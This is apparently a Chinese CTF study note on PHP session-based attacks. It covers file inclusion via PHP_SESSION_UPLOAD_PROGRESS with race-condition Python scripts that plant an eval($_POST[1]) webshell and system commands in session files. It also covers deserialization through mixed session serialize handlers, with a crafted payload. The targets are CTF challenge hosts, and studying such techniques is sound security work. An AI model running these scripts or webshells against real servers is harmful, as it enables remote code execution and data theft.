本文是利用PHP_SESSION_UPLOAD_PROGRESS
进行文件包含和反序列化的总结。
也就是关于php-session的文件包含和反序列化
session被称为“会话控制”,Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在 Session 对象中.
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的
session和cookie的联系:
cookie中的PHPSESSID将作为服务器session的文件名sess__xxx,浏览器直接根据这个去服务器中找对应的sessid
直接放y4爷写的总结吧
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
php_serialize | 经过serialize()函数序列化数组 |
---|---|
php | 键名+竖线+经过serialize()函数处理的值 |
php_binary | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
session.save_path="" --设置session的存储路径
session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
版本:php5.4以上
在php.ini有以下几个默认选项
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
其中
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name将表示为session中的键名
session文件包含和反序列化就是利用session.upload_progress
,可以将上传的文件信息保存在session中.
一般默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,我们需要进行条件竞争.如果为off
,就不需要利用条件竞争.
脚本:
文件上传
import requests
import threading
session = requests.session()
sess = 'zzy' #上传文件的PHPSESSION的ID
url1 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/"
url2 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/upload/"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'# 传入的恶意代码
}
file = {
'file': 'zzy'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
文件包含
import requests
import threading
import sys
session = requests.session()
sess = 'zzy'
url1 = "http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/"
url2 = 'http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/?file=/tmp/sess_' + sess
# file后为phpsession的路径
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
}
data2 = {
'1': 'system("cat f*");'
}
file = {
'file': 'abc'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.post(url2, data=data2)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
上面两个脚本的区别
文件上传,用url1的内容,post向phpsession中爆flag,然后通过访问url2,可以触发upload下的index.php,然后到.user.ini,再到png中去include PHPSESSION的内容,执行命令。如果是传入小马,url2需要post内容,执行命令
文件包含:url1的内容,来向phpsession中写入小马,然后,通过url2的file的参数去包含phpsession的路径,加上url2的post来执行命令,从而得到flag。
关于文件包含还有个脚本
import io
import requests
import threading
url = 'http://challenge-cfd946d2e06b103c.sandbox.ctfhub.com:10800'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotasts' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
例子有CTF-第五空间
ctfshow有个题也可以这么做
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
利用条件:
1. 存在文件包含漏洞
2. 知道session文件存放路径,可以尝试默认路径
3. 具有读取和写入session文件的权限
php引擎的存储格式是键名|serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题
实验:
1.php:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['z3eyond'] = $_GET['a'];
var_dump($_SESSION);
2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
public $name;
function __wakeup(){
echo $this->name;
}
}
首先访问1.php,传入参数a=|O:4:"test":1:{s:4:"name";s:7:"z3eyond";}
再访问2.php,注意不要忘记|
会发现2.php出现了z3eyond
这是因为1.php
是使用php_serialize
引擎处理,因此只会把'|'
当做一个正常的字符。然后访问2.php
,由于用的是php
引擎,因此遇到'|'
时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'
后的值进行反序列化处理。
为什么1.php可以触发2.php的__wakeup()?
我的理解是,1.php中session_start()开始会话,写入了session文件,然后访问2.php,session_start(),读取了session文件。而由于引擎不一样,从而引发了__wakeup的不同。
关于session_start():
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量
所以我们可以通过这种来构造攻击.
CTF题目:
https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/solitudi/article/details/113588692?spm=1001.2014.3001.5502
https://y4tacker.blog.csdn.net/article/details/113588692?spm=1001.2014.3001.5502